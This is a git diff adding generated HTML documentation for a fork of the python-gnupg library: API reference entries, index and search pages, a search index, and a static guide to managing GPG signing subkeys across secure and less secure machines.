Returns:True if instance is a list or tuple, False otherwise.
+
+ +
+
+_is_gpg1(version)[source]
+

Returns True if using GnuPG version 1.x.

+ +++ + + + +
Parameters:version (tuple) – A tuple of three integers indication major, minor, +and micro version numbers.
+
+ +
+
+_is_gpg2(version)[source]
+

Returns True if using GnuPG version 2.x.

+ +++ + + + +
Parameters:version (tuple) – A tuple of three integers indication major, minor, +and micro version numbers.
+
+ +
+
+_make_binary_stream(s, encoding)[source]
+

xxx fill me in

+
+ +
+
+_make_passphrase(length=None, save=False, file=None)[source]
+

Create a passphrase and write it to a file that only the user can read.

+

This is not very secure, and should not be relied upon for actual key +passphrases.

+ +++ + + + +
Parameters:
    +
  • length (int) – The length in bytes of the string to generate.
  • +
  • file (file) – The file to save the generated passphrase in. If not +given, defaults to ‘passphrase-<the real user id>-<seconds since +epoch>’ in the top-level directory.
  • +
+
+
+ +
+
+_make_random_string(length)[source]
+

Returns a random lowercase, uppercase, alphanumerical string.

+ +++ + + + +
Parameters:length (int) – The length in bytes of the string to generate.
+
+ +
+
+_match_version_string(version)[source]
+

Sort a binary version string into major, minor, and micro integers.

+ +++ + + + +
Parameters:version (str) – A version string in the form x.x.x
+
+ +
+
+_next_year()[source]
+

Get the date of today plus one year.

+ +++ + + + + + +
Return type:str
Returns:The date of this day next year, in the format ‘%Y-%m-%d’.
+
+ +
+
+_now()[source]
+

Get a timestamp for right now, formatted according to ISO 8601.

+
+ +
+
+_separate_keyword(line)[source]
+

Split the line, and return (first_word, the_rest).

+
+ +
+
+_threaded_copy_data(instream, outstream)[source]
+

Copy data from one stream to another in a separate thread.

+

Wraps _copy_data() in a threading.Thread.

+ +++ + + + +
Parameters:
    +
  • instream (io.BytesIO or io.StringIO) – A byte stream to read from.
  • +
  • outstream (file) – The file descriptor of a tmpfile to write to.
  • +
+
+
+ +
+
+_utc_epoch()[source]
+

Get the seconds since epoch.

+
+ +
+
+_which(executable, flags=1)[source]
+

Borrowed from Twisted’s :mod:twisted.python.proutils .

+

Search PATH for executable files with the given name.

+

On newer versions of MS-Windows, the PATHEXT environment variable will be +set to the list of file extensions for files considered executable. This +will normally include things like ”.EXE”. This fuction will also find files +with the given name ending with any of these extensions.

+

On MS-Windows the only flag that has any meaning is os.F_OK. Any other +flags will be ignored.

+

Note: This function does not help us prevent an attacker who can already +manipulate the environment’s PATH settings from placing malicious code +higher in the PATH. It also does happily follows links.

+ +++ + + + + + + + +
Parameters:
    +
  • name (str) – The name for which to search.
  • +
  • flags (int) – Arguments to L{os.access}.
  • +
+
Return type:

list

+
Returns:

A list of the full paths to files found, in the order in which +they were found.

+
+
+ +
+
+_write_passphrase(stream, passphrase, encoding)[source]
+

Write the passphrase from memory to the GnuPG process’ stdin.

+ +++ + + + +
Parameters:
    +
  • stream (file, BytesIO, or StringIO) – The input file descriptor to write the password to.
  • +
  • passphrase (str) – The passphrase for the secret key material.
  • +
  • encoding (str) – The data encoding expected by GnuPG. Usually, this +is sys.getfilesystemencoding().
  • +
+
+
+ +
+
+class InheritableProperty(fget=None, fset=None, fdel=None, doc=None)[source]
+

Bases: object

+

Based on the emulation of PyProperty_Type() in Objects/descrobject.c

+
+ +
+
+class Storage[source]
+

Bases: dict

+

A dictionary where keys are stored as class attributes.

+

For example, obj.foo can be used in addition to obj['foo']:

+
>>> o = Storage(a=1)
+>>> o.a
+1
+>>> o['a']
+1
+>>> o.a = 2
+>>> o['a']
+2
+>>> del o.a
+>>> o.a
+None
+
+
+
+ +
+
+

About this fork

+

This is a modified version of python-gnupg, (forked from version 0.3.2) which +was created by Vinay Sajip, which itself is a modification of GPG.py written +by Steve Traugott, which in turn is a modification of the pycrypto GnuPG +interface written by A.M. Kuchling.

+

This version is patched to sanitize untrusted inputs, due to the necessity of +executing subprocess.Popen([...], shell=True) in order to communicate with +GnuPG. Several speed improvements were also made based on code profiling, and +the API has been cleaned up to support an easier, more Pythonic, interaction.

+
+
+

Previous Authors’ Documentation

+
+
Steve Traugott’s documentation:
+
+

+
+
Portions of this module are derived from A.M. Kuchling’s well-designed
+
GPG.py, using Richard Jones’ updated version 1.3, which can be found in
+
the pycrypto CVS repository on Sourceforge:
+

+ +

+
This module is not forward-compatible with amk’s; some of the old
+
interface has changed. For instance, since I’ve added decrypt
+
functionality, I elected to initialize with a ‘gpghome’ argument instead
+
of ‘keyring’, so that gpg can find both the public and secret keyrings.
+
I’ve also altered some of the returned objects in order for the caller to
+
not have to know as much about the internals of the result classes.
+

+
While the rest of ISconf is released under the GPL, I am releasing this
+
single file under the same terms that A.M. Kuchling used for pycrypto.
+

+
Steve Traugott, stevegt@terraluna.org
+
Thu Jun 23 21:27:20 PDT 2005
+
+
+
+
Vinay Sajip’s documentation:
+
+

+
+
This version of the module has been modified from Steve Traugott’s version
+ +
Vinay Sajip to make use of the subprocess module (Steve’s version uses
+
os.fork() and so does not work on Windows). Renamed to gnupg.py to avoid
+
confusion with the previous versions.
+

+
A unittest harness (test_gnupg.py) has also been added.
+

+
Modifications Copyright (C) 2008-2012 Vinay Sajip. All rights reserved.
+
+
+
+
+
+
+ + +
+
+
+
+ +
+
+
+ + + + + \ No newline at end of file diff --git a/docs/_build/html/index.html b/docs/_build/html/index.html new file mode 100644 index 0000000..fba5006 --- /dev/null +++ b/docs/_build/html/index.html @@ -0,0 +1,147 @@ + + + + + + + + gnupg: Python Package Documentation — gnupg unknown documentation + + + + + + + + + + + + +
+ +
+ +
+
+
+ +
+
+
+ +
+

gnupg: Python Package Documentation

+

A Python interface for handling interactions with GnuPG, including keyfile +generation, keyring maintainance, import and export, encryption and +decryption, sending to and recieving from keyservers, and signing and +verification.

+

Contents:

+ +
+
+

Source, license, & bug reports

+

The source code which was used to generate this documentation is accessible by +clicking the little source links next to the docs. Current source code can +be found in this github repository. The master branch always reflects the +latest release, all releases are tagged with signed, annotated git tags, and +the develop branch represents the state of the next release.

+

This package is released under GPLv3 or greater.

+

If you find a bug, or would like to request a feature, please use our public +bugtracker on github. Patches warmly welcome.

+
+
+

Indices and tables

+ +
+ + +
+
+
+
+ +
+
+
+ + + + + \ No newline at end of file diff --git a/docs/_build/html/objects.inv b/docs/_build/html/objects.inv new file mode 100644 index 0000000..ca71a9f Binary files /dev/null and b/docs/_build/html/objects.inv differ diff --git a/docs/_build/html/py-modindex.html b/docs/_build/html/py-modindex.html new file mode 100644 index 0000000..d61dfe2 --- /dev/null +++ b/docs/_build/html/py-modindex.html @@ -0,0 +1,135 @@ + + + + + + + + Python Module Index — gnupg unknown documentation + + + + + + + + + + + + + + +
+ +
+ +
+
+
+ +
+
+
+ + +

Python Module Index

+ +
+ g +
+ + + + + + + + + + + + + + + + +
 
+ g
+ gnupg +
    + gnupg._meta +
    + gnupg._parsers +
    + gnupg._util +
+ + +
+
+
+
+ +
+
+
+ + + + + \ No newline at end of file diff --git a/docs/_build/html/search.html b/docs/_build/html/search.html new file mode 100644 index 0000000..d640571 --- /dev/null +++ b/docs/_build/html/search.html @@ -0,0 +1,129 @@ + + + + + + + + Search — gnupg unknown documentation + + + + + + + + + + + + + + + + + +
+ +
+ +
+
+
+ +
+
+
+ +

Search

+
+ +

+ Please activate JavaScript to enable the search + functionality. +

+
+

+ From here you can search these documents. Enter your search + words into the box below and click "search". Note that the search + function will automatically search for all of the words. Pages + containing fewer words won't appear in the result list. +

+
+ + + +
+ +
+ +
+ +
+
+
+
+ +
+
+
+ + + + + \ No newline at end of file diff --git a/docs/_build/html/searchindex.js b/docs/_build/html/searchindex.js new file mode 100644 index 0000000..d5f5220 --- /dev/null +++ b/docs/_build/html/searchindex.js @@ -0,0 +1 @@ +Search.setIndex({envversion:42,terms:{represent:1,all:[0,1],code:[0,1],namedli:1,chain:1,untrust:1,"_find_ag":1,month:1,"_problem_reason":1,prefix:1,edu:1,follow:1,disk:1,inpt:1,issuer:1,disappear:1,whose:1,privat:1,oracl:1,"const":1,sensit:1,send:[0,1],"_agent_proc":1,program:1,certain:1,under:[0,1],sens:1,clearsign:1,isinst:1,"_read_respons":1,sourc:[],string:1,fals:1,need_passphras:1,prog:1,sig_typ:1,fuction:1,sec_dup:1,veri:1,retriev:1,subprocess:1,steve:1,magic:1,key_set:1,raw_data:1,list:1,iter:1,"try":1,item:1,alice_input:1,shlex:1,stderr:1,verif:[0,1],sajip:1,drop:1,arg_list:1,round:1,gen_key_input:1,pleas:[0,1],malici:1,work:1,pref_typ:1,"_encrypt":1,crow:1,sign:[0,1],second:1,blanklin:1,design:1,pass:1,click:0,use_ag:1,even:1,index:0,keyserv:[0,1],"_field":1,hide:1,sub:1,richard:1,inheritableproperti:1,section:1,falsifi:1,find:[0,1],current:[0,1],delet:1,version:1,"new":1,symmetr:1,"_check_keyserv":1,bytestream:1,method:1,can:[0,1],list_packet:1,hasn:1,full:1,hash:1,n_sig:1,sanitis:1,vinai:1,adversari:1,gener:[0,1],never:1,here:1,behaviour:1,shouldn:1,snack:1,modif:1,"_check_prefer":1,depend:1,subkey_typ:1,modifi:1,sinc:1,valu:1,search:[0,1],"3ff0db166a7476ea":1,brilliant:1,"_generated_keys_gett":1,popen:1,cert:1,unlik:1,doctest:1,menu:1,chang:1,chanc:1,revoc:1,compress_algo:1,elect:1,repositori:[0,1],extra:1,revok:1,keyfil:[0,1],"while":1,filenam:1,api:1,famili:1,trust_fulli:1,instal:1,txt:1,sec_read:1,regex:1,seckei:1,from:[0,1],subkei:1,would:[0,1],memori:1,gnupg_opt:1,pref:1,todai:1,next:[0,1],few:1,trust_text:1,"_deprefix":1,call:1,usr:1,recommend:1,taken:1,scope:1,md5:1,type:1,minor:1,more:1,print1:1,capit:1,print2:1,desir:1,peopl:1,hundr:1,relat:1,line:1,notic:1,genkei:1,warn:1,"_make_binary_stream":1,flag:1,indic:[],particular:1,known:1,obj:1,cipher_algo:1,must:1,need_passphrase_sym:1,none:1,imported_rsa:1,join:1,thread:1,otrust:1,alic:1,uniqu:1,name_email:1,fli:1,descriptor:1,kwarg:1,del:1,whatev:1,wwwkei:1,meet:1,purpos:1,fget:1,control:1,gplv3:0,kuchl:1,stream:1,give:1,process:1,gpgsm:1,share:1,uat:1,accept:1,tag:0,"_make_arg":1,want:1,"_copy_data":1,occur:1,whichev:1,protectedopt:1,aes256:1,enc:1,end:1,secur:1,tamper:1,grudgingli:1,key_data:1,how:1,sig:1,sever:1,fpr:1,instead:1,config:1,updat:1,map:1,"_sanitise_list":1,alwai:0,passwordless:1,after:1,differenti:1,reflect:0,befor:1,okai:1,rmtree:1,mai:1,underscor:1,data:1,physic:1,man:1,handl:[0,1],delete_kei:1,attempt:1,classmethod:1,seriou:1,stdin:1,correspond:1,element:1,issu:1,inform:1,ambigi:1,combin:1,allow:1,enter:1,callabl:1,key_id:1,order:1,oper:1,help:1,"_match_version_str":1,midnight:1,soon:1,own:1,through:1,describ:1,n_revoc:1,deleteresult:1,hexidecim:1,print_funct:1,digest:1,paramet:1,write:1,group:1,funni:1,fix:1,better:1,window:1,"_is_gpg1":1,trust_level:1,"_handle_statu":1,"_read_data":1,alter:1,non:1,good:1,n_uid:1,greater:[0,1],thei:1,python:[],timestamp:1,subdirectori:1,dai:1,initi:1,fingerprint:1,detach:1,possess:1,down:1,term:1,t7a:1,"_meta":1,trac:1,anyth:1,edit:1,level:1,userid:1,verify_fil:1,separ:1,micro:1,token:1,each:1,debug:1,found:[0,1],unicod:1,csr:1,mean:1,subset:1,everyth:1,reliabl:1,hard:1,"_get_options_group":1,realli:1,ensur:1,keypair:1,"static":1,expect:1,year:1,our:[0,1],meth:1,name_com:1,"_generated_kei":1,orient:1,special:1,out:1,variabl:1,suppos:1,safeti:1,space:1,armor:1,miss:1,access:[0,1],rev:1,create_uid_email:1,"_recv_kei":1,your:1,expire_timestamp:1,mess:1,suitabl:1,rel:1,print:1,sha1:1,metaclass:1,correct:1,dsa:1,name_r:1,usageerror:1,gpgmeta:1,upon:1,runtimeerror:1,manipul:1,"__remove_path__":1,pub:1,"_get_all_gnupg_opt":1,reason:1,base:1,dictionari:1,"_export_ownertrust":1,ask:1,org:1,"byte":1,trust_ultim:1,sekrit:1,care:1,import_kei:1,precaut:1,pubr:1,importresult:1,could:1,omit:1,"_result_map":1,fqdn:1,initialis:1,emul:1,thing:1,length:1,"19860426t042640":1,place:1,isn:1,pycrypto:1,nodata:1,confus:1,think:1,frequent:1,first:1,origin:1,softwar:1,major:1,suffix:1,directli:1,purport:1,arrai:1,number:1,necess:1,date:1,instruct:1,alreadi:1,done:1,least:1,pgp:1,owner:1,stabl:1,open:1,primari:1,hexstr:1,size:1,gpl:1,given:1,pubkey_fingerprint:1,strict:1,unknown:1,top:1,gpg:1,list_sig:1,system:1,messag:1,name:1,attach:1,attack:1,master:0,too:1,pathext:1,stevegt:1,outstream:1,store:1,low:1,shell:1,option:1,copi:1,rsa:1,specifi:1,forward:1,separate_keyr:1,github:0,pars:1,mostli:1,consult:1,presumedli:1,gethostnam:1,exactli:1,than:1,albeit:1,ciphertext:1,keyid:1,prevent:1,keysign:1,remov:1,recv_kei:1,zero:1,charact:1,matter:1,friend:1,str:1,were:1,exp:1,"0x12345678":1,"_is_list_or_tupl":1,browser:1,"_is_str":1,respons:1,beforehand:1,ani:1,sit:1,wai:1,author_info:1,expir:1,increment:1,reserv:1,need:1,seem:1,turn:1,userid_hint:1,always_trust:1,entireti:1,not_import:1,engin:1,"__new__":1,lib:1,callback:1,destroi:1,latter:1,contact:1,note:1,mix:1,"_is_stream":1,secr:1,take:1,annot:0,sanit:1,environ:1,zlib:1,maintain:[0,1],mit:1,save_batchfil:1,uppercas:1,compat:1,begin:1,sure:1,unless:1,exec:1,usernam:1,object:1,compress:1,what:1,discov:1,decrypt_fil:1,digest_algo:1,problem_reason:1,cipher:1,gpg2:1,letter:1,net:1,"class":1,n_subk:1,trustdb:1,prove:1,renam:1,exc:1,url:1,doc:[0,1],later:1,request:[0,1],"_find_binari":1,doe:1,pipe:1,anoth:1,part:1,subkey_usag:1,determin:1,warmli:0,usual:1,shell_input:1,seckey1:1,fact:1,recipi:1,"_parser":1,show:1,"__str__":1,random:1,syntax:1,happili:1,permiss:1,hack:1,lookuperror:1,alice_kei:1,first_word:1,"_generated_keys_sett":1,absolut:1,onli:1,explicitli:1,locat:1,just:1,facil:1,unattend:1,explain:1,writer:1,releas:[0,1],trust_nev:1,should:1,"_batch_limit":1,busi:1,dict:1,local:1,meant:1,info:1,variou:1,get:1,stop:1,secondari:1,cannot:1,f_ok:1,report:[],gen:1,requir:1,ssb:1,bar:1,"_next_year":1,ever:1,key_creat:1,borrow:1,"public":[0,1],rfc:1,provid:1,bad:1,stupid:1,statist:1,though:1,contain:1,comma:1,where:1,instream:1,summari:1,happen:1,certif:1,set:1,commandlin:1,signatur:1,tree:1,cryptanalyt:1,still:1,packet:1,"_has_readwrit":1,see:1,sec:1,result:1,arg:1,fail:1,close:1,becaus:1,crt:1,deriv:1,appear:1,statu:1,detect:1,cleartext:1,correctli:1,"_open_subprocess":1,speed:1,someth:1,creation_d:1,traugott:1,configur:1,written:1,at_exit:1,between:1,ciphernam:1,progress:1,signature_id:1,hkp:1,attribut:1,altern:1,verifi:1,accord:1,unmodifi:1,func:1,kei:1,numer:1,overflow:1,codec:1,homedir:1,bak:1,extens:1,lowercas:1,entir:1,wear:1,frozenset:1,disallow:1,embed:1,key_length:1,addit:1,verbos:1,both:1,protect:1,last:1,delimit:1,howev:1,pdt:1,etc:1,instanc:1,gen_kei:1,agent:1,improv:1,comment:1,within:1,"_handle_io":1,address:1,wrap:1,except:1,header:1,key_not_cr:1,differ:1,key_input:1,path:1,pubkey1:1,respect:1,"_homedir_gett":1,assum:1,xkcd:1,reciev:[0,1],"_is_gpg2":1,gpgbase:1,bytesio:1,sig_hash_also:1,patch:[0,1],due:1,been:1,mark:1,rvk:1,secret:1,much:1,interpret:1,basic:1,isconf:1,valueerror:1,fset:1,gist:1,is_gpg1:1,is_gpg2:1,xxx:1,convert:1,append:1,argument:1,assert:1,"_now":1,euid:1,a3adb67a2cdb8b35:1,input:1,openpgp:1,export_kei:1,former:1,wrapper:1,"case":1,ugli:1,ident:1,look:1,properti:1,sourceforg:1,easier:1,getfilesystemencod:1,calcul:1,abov:1,error:1,bin:1,ordereddict:1,"_create_trustdb":1,default_preference_list:1,key2:1,key1:1,them:1,contributor:1,"default":1,itself:1,conf:1,"return":1,mod:1,shutil:1,ascii:1,fdel:1,"__init__":1,"_fix_trustdb":1,develop:0,welcom:0,"_homedir_sett":1,setpref:1,alphabet:1,make:1,key_grip:1,same:1,binari:1,epoch:1,isspac:1,split:1,pkd:1,fill:1,singl:1,higher:1,week:1,safe:1,"_make_passphras":1,hostnam:1,keyr:[0,1],"_import_ownertrust":1,effect:1,capabl:1,assign:1,rais:1,user:1,"_create_if_necessari":1,pinentri:1,implement:1,drain:1,scenario:1,thu:1,summon:1,well:1,inherit:1,without:1,person:1,exampl:1,command:1,programm:1,listkei:1,left:1,explan:1,"_is_hex":1,construct:1,protocol:1,execut:1,photo:1,armour:1,exclud:1,obtain:1,rest:1,trust:1,via:1,kill:1,default_kei:1,touch:1,passphras:1,simultan:1,list_kei:1,yet:1,pyproperty_typ:1,hah:1,gather:1,now:1,"_hyphen":1,"_make_random_str":1,easi:1,also:1,pubkei:1,elg:1,littl:0,"_decode_error":1,add:1,valid:1,els:1,har:1,save:1,scatterbrainedli:1,latest:0,match:1,build:1,real:1,amk:1,which:[0,1],format:1,read:1,prefer:1,piec:1,subkey_length:1,punctuat:1,know:1,no_user_id:1,bit:1,password:1,associ:1,python3:1,python2:1,like:[0,1],specif:1,substr:1,whitespac:1,manual:1,integ:1,terraluna:1,collect:1,"boolean":1,necessari:1,either:1,have:1,add_prefix:1,colon:1,inter:1,"_sign_fil":1,page:[0,1],unabl:1,tmpfile:1,"_collect_output":1,old:1,often:1,the_rest:1,"_which":1,acknowledg:1,interv:1,interact:[0,1],some:1,back:1,"_is_allow":1,isfil:1,intern:1,unspecifi:1,"export":[0,1],unchang:1,home:1,tmp:1,ownertrust:1,lead:1,psutil:1,avoid:1,normal:1,exit:1,iso:1,key_usag:1,sig_fil:1,unsanit:1,auth:1,foo:1,trunk:1,refer:1,pilfer:1,plu:1,who:1,run:1,direcori:1,uncompress:1,expire_d:1,insecur:1,usag:1,symlink:1,broken:1,although:1,output:1,simpler:1,unsaf:1,actual:1,zip:1,materi:1,commun:1,http:1,viewvc:1,distinct:1,tranlat:1,"_separate_keyword":1,commit:1,disabl:1,block:1,"_threaded_copy_data":1,repair:1,"__future__":1,"_ok_reason":1,status_cod:1,listpacket:1,lastli:1,encod:1,gpghome:1,automat:1,three:1,printprint:1,right:1,test_gnupg:1,strip:1,"_sanitis":1,"import":[0,1],hyphen:1,batch:1,storag:1,digestnam:1,stare:1,unlock:1,git:0,deal:1,suffici:1,aren:1,support:1,"long":1,avail:1,start:1,reli:1,gid:1,interfac:[0,1],includ:[0,1],handle_statu:1,trust_undefin:1,"_write_passphras":1,sha512:1,descrobject:1,"function":1,creation:1,form:1,sec_import:1,tupl:1,jun:1,"_util":1,find_encod:1,content:[0,1],key_typ:1,state:0,link:[0,1],translat:1,newer:1,branch:[0,1],don:1,cryptograph:1,"true":1,sig_timestamp:1,sent:1,count:1,concaten:1,made:1,utf:1,attr:1,absens:1,possibl:1,whether:1,notat:1,caller:1,eighteen:1,displai:1,below:1,unittest:1,public_kei:1,otherwis:1,problem:1,remaind:1,similar:1,email:1,esca:1,sort:1,featur:[0,1],uid:1,creat:1,"int":1,hardcod:1,bugtrack:0,decrypt:[0,1],doesn:1,repres:[0,1],twist:1,proutil:1,exist:1,file:1,"_utc_epoch":1,utc:1,check:1,probabl:1,incorrect:1,again:1,bzip2:1,encrypt:[0,1],quot:1,grp:1,crypt:1,when:1,detail:1,invalid:1,field:1,other:1,bool:1,copyright:1,rememb:1,presenc:1,test:1,pathnam:1,you:[0,1],"_fix_unsaf":1,"_is_fil":1,intend:1,clean:1,stringio:1,put:1,symbol:1,insensit:1,log:1,consid:1,easili:1,param:1,reduc:1,"_count":1,receiv:1,faster:1,algorithm:1,directori:1,sig_algo:1,alphanumer:1,portion:1,algo:1,ignor:1,invok:1,potenti:1,time:1,escap:1,profil:1,hello:1,jone:1,trust_margin:1},objtypes:{"0":"py:module","1":"py:function","2":"py:exception","3":"py:method","4":"py:attribute","5":"py:class","6":"py:classmethod","7":"py:staticmethod"},objnames:{"0":["py","module","Python module"],"1":["py","function","Python function"],"2":["py","exception","Python exception"],"3":["py","method","Python method"],"4":["py","attribute","Python attribute"],"5":["py","class","Python class"],"6":["py","classmethod","Python class method"],"7":["py","staticmethod","Python static method"]},filenames:["index","gnupg"],titles:["gnupg: Python Package Documentation","gnupg package"],objects:{"":{gnupg:[1,0,0,"-"]},"gnupg._meta.GPGMeta":{"__new__":[1,7,1,""],"_find_agent":[1,6,1,""]},"gnupg._parsers":{"_is_hex":[1,1,1,""],UsageError:[1,2,1,""],Verify:[1,5,1,""],"_get_options_group":[1,1,1,""],"_is_allowed":[1,1,1,""],GenKey:[1,5,1,""],ImportResult:[1,5,1,""],"_check_preferences":[1,1,1,""],"_fix_unsafe":[1,1,1,""],Crypt:[1,5,1,""],ListPackets:[1,5,1,""],progress:[1,1,1,""],ListKeys:[1,5,1,""],"_sanitise_list":[1,1,1,""],"_is_string":[1,1,1,""],"_check_keyserver":[1,1,1,""],ProtectedOption:[1,2,1,""],"_get_all_gnupg_options":[1,1,1,""],DeleteResult:[1,5,1,""],"_sanitise":[1,1,1,""],"_hyphenate":[1,1,1,""],Sign:[1,5,1,""],nodata:[1,1,1,""]},"gnupg._parsers.Crypt":{status:[1,4,1,""],ok:[1,4,1,""],"_handle_status":[1,3,1,""],data:[1,4,1,""]},"gnupg._parsers.Verify":{TRUST_LEVELS:[1,4,1,""],status:[1,4,1,""],TRUST_NEVER:[1,4,1,""],expire_timestamp:[1,4,1,""],pubkey_fingerprint:[1,4,1,""],TRUST_FULLY:[1,4,1,""],timestamp:[1,4,1,""],TRUST_MARGINAL:[1,4,1,""],"_handle_status":[1,3,1,""],creation_date:[1,4,1,""],username:[1,4,1,""],trust_text:[1,4,1,""],valid:[1,4,1,""],TRUST_ULTIMATE:[1,4,1,""],TRUST_UNDEFINED:[1,4,1,""],fingerprint:[1,4,1,""],key_id:[1,4,1,""],signature_id:[1,4,1,""],sig_timestamp:[1,4,1,""],trust_level:[1,4,1,""]},"gnupg._meta.GPGBase":{"_generated_keys_getter":[1,3,1,""],keyserver:[1,4,1,""],"_encrypt":[1,3,1,""],default_preference_list:[1,4,1,""],"_homedir_getter":[1,3,1,""],"_handle_io":[1,3,1,""],"_open_subprocess":[1,3,1,""],"_homedir_setter":[1,3,1,""],"__remove_path__":[1,3,1,""],"_collect_output":[1,3,1,""],"_make_args":[1,3,1,""],homedir:[1,4,1,""],"_read_data":[1,3,1,""],"_generated_keys":[1,4,1,""],"_generated_keys_setter":[1,3,1,""],"_recv_keys":[1,3,1,""],"_read_response":[1,3,1,""],"__init__":[1,3,1,""],"_sign_file":[1,3,1,""]},"gnupg.GPG":{"_create_trustdb":[1,3,1,""],decrypt:[1,3,1,""],sign:[1,3,1,""],verify_file:[1,3,1,""],encrypt:[1,3,1,""],recv_keys:[1,3,1,""],verify:[1,3,1,""],export_keys:[1,3,1,""],"_batch_limit":[1,4,1,""],decrypt_file:[1,3,1,""],import_keys:[1,3,1,""],is_gpg1:[1,3,1,""],is_gpg2:[1,3,1,""],"_import_ownertrust":[1,3,1,""],delete_keys:[1,3,1,""],"_export_ownertrust":[1,3,1,""],list_packets:[1,3,1,""],gen_key:[1,3,1,""],"_fix_trustdb":[1,3,1,""],list_keys:[1,3,1,""],list_sigs:[1,3,1,""],gen_key_input:[1,3,1,""]},"gnupg._parsers.ImportResult":{fingerprints:[1,4,1,""],"_handle_status":[1,3,1,""],results:[1,4,1,""],summary:[1,3,1,""],"_problem_reason":[1,4,1,""],"_ok_reason":[1,4,1,""],"_counts":[1,4,1,""],x:[1,4,1,""],"_fields":[1,4,1,""]},"gnupg._parsers.Sign":{what:[1,4,1,""],sig_hash_also:[1,4,1,""],fingerprint:[1,4,1,""],sig_algo:[1,4,1,""],"_handle_status":[1,3,1,""],sig_type:[1,4,1,""],timestamp:[1,4,1,""]},"gnupg._parsers.ListKeys":{uid:[1,3,1,""],"_handle_status":[1,3,1,""],pub:[1,3,1,""],sec:[1,3,1,""],key:[1,3,1,""],fpr:[1,3,1,""],sub:[1,3,1,""]},"gnupg._util":{"_threaded_copy_data":[1,1,1,""],"_is_stream":[1,1,1,""],Storage:[1,5,1,""],"_make_random_string":[1,1,1,""],"_is_gpg1":[1,1,1,""],"_utc_epoch":[1,1,1,""],"_copy_data":[1,1,1,""],"_is_gpg2":[1,1,1,""],"_write_passphrase":[1,1,1,""],"_is_list_or_tuple":[1,1,1,""],"_which":[1,1,1,""],"_deprefix":[1,1,1,""],"_find_binary":[1,1,1,""],author_info:[1,1,1,""],"_create_if_necessary":[1,1,1,""],"_has_readwrite":[1,1,1,""],"_make_binary_stream":[1,1,1,""],"_make_passphrase":[1,1,1,""],"_is_file":[1,1,1,""],InheritableProperty:[1,5,1,""],find_encodings:[1,1,1,""],"_next_year":[1,1,1,""],"_now":[1,1,1,""],"_match_version_string":[1,1,1,""],create_uid_email:[1,1,1,""],"_separate_keyword":[1,1,1,""]},gnupg:{"_parsers":[1,0,0,"-"],GPG:[1,5,1,""],"_meta":[1,0,0,"-"],"_util":[1,0,0,"-"]},"gnupg._parsers.ListPackets":{status:[1,4,1,""],"_handle_status":[1,3,1,""],need_passphrase:[1,4,1,""],userid_hint:[1,4,1,""],need_passphrase_sym:[1,4,1,""]},"gnupg._meta":{GPGMeta:[1,5,1,""],GPGBase:[1,5,1,""]},"gnupg._parsers.DeleteResult":{problem_reason:[1,4,1,""],"_handle_status":[1,3,1,""]},"gnupg._parsers.GenKey":{keyring:[1,4,1,""],"_handle_status":[1,3,1,""],type:[1,4,1,""],secring:[1,4,1,""]}},titleterms:{fork:1,about:1,sourc:0,thi:1,author:1,python:0,modul:1,previou:1,parser:1,indic:0,util:1,packag:[0,1],meta:1,gnupg:[0,1],tabl:0,report:0,document:[0,1],bug:0,licens:0}}) \ No newline at end of file diff --git a/docs/_build/python-gnupg-docs.zip b/docs/_build/python-gnupg-docs.zip new file mode 100644 index 0000000..7a62334 Binary files /dev/null and b/docs/_build/python-gnupg-docs.zip differ diff --git a/docs/_static/pgp-subkeys.html b/docs/_static/pgp-subkeys.html new file mode 100644 index 0000000..2fc83b4 --- /dev/null +++ b/docs/_static/pgp-subkeys.html @@ -0,0 +1,236 @@ + +Using multiple subkeys in GPG +
[ main gpg page ] +
+

Using multiple subkeys in GPG

+
+

Motivation

+

+For a time, I've had two different gpg keys - one at home on my presumably +secure machine, one at the office, with NFS mounted home directory and +quite a few people having accounts everywhere. This worked, but the problem +is that when exchanging key signatures I always had to beg people to sign +both my keys. +

+

+With gpg and the possibility of having multiple subkeys, I can now have +only one key, but still retain the security feature that I don't have to +revoke my primary key (and lose all signatures on it) if the key at the +office is compromised. +

+

+NOTE: Most of the following can apply to both signing and encrypting +subkeys. Encryption subkeys can not be used to solve the multiple accounts +problem, though, please see the Problems section +further down. Also, note that I don't use multiple encryption subkeys, so I +don't know if there are additional problems with them. +

+

+The following is based on gnupg 1.2.1. It should all work with newer +versions, too. Older versions do not support everything and have some +additional problems. As I really do recommend you use a recent gpg version, I +have omitted anything related to older gpg versions. +

+

Basics

+

+Generate a normal key pair, or use an existing key. Usually this will be a +DSA/ElGamal key (this is what I use), but using RSA or other keys is +equally possible. Be sure to do this on a 'really secure' machine. +

+

+Then "gpg __edit keyid" the key and add a further subkey +using "addkey". "save" will store the new subkey on the +keyring. You'll want to save the whole key (secret and public) with +"gpg __export keyid > pubkey" and "gpg +__export-secret-key keyid > seckey". Best copy those files +onto an offline storage, too. (A basic working knowledge of how to use a +command line and how to deal with files is assumed. Also, you should know +a bit how key handling in gpg works. If you can't see what the above commands +do, you better do some +reading before continuing here). +

+

+Now you should also back up your keyrings, as the following has to +work on a keyring to work around some missing or broken gpg features. +

+

+As you probably will only take one of the subkeys to your not-so-secure +location, "gpg __edit keyid and delete the subkeys you +don't want to expose (mark them with "key n" and then delete +them with "delkey"). +

+

+"gpg __export-secret-subkeys keyid > crippled.seckey" +will then export the remaining subkeys, without the keymaterial of the +primary key. +

+

+Now, you can restore the keyrings (secret and public, since +deleting the subkeys has also deleted the public subkeys!), and your secure +machine is ready to use. Perhaps you don't want to use your 'insecure' +subkey on your secure machine - again, "gpg __edit keyid", +"key n" and "delkey" takes care of this; again, it +is necessary to re-import the public key. +

+

+On your 'insecure' machine, you do "gpg __import pubkey +crippled.seckey" (the same files you've generated above), now you're ready +to use gpg on the 'insecure' machine. To verify that you really don't have any +secret keys you don't want, have a look at the output of "gpg +__list-secret-keys": all primary secret key where the key material is not +present are marked with '#'. +

+
+$ gpg __list-secret-key testuser
+sec# 1024D/971B7A70 2003-01-03 testuser <testuser@mydomain.foo>
+ssb  1024g/ACDF80C4 2003-01-03
+ssb  1024R/BE9CA308 2003-01-07
+
+

+Of course, you'll have to publish your new public key, so people can +verify your signatures and send you encrypted mail. Read the Problems section for a few comments about this. +

+

Effects

+

+Keys are always signed with your primary key, so you (or any attacker) won't be +able to sign other keys with the key on the 'insecure' machine. This is why we +started doing all this acrobatics after all.

+

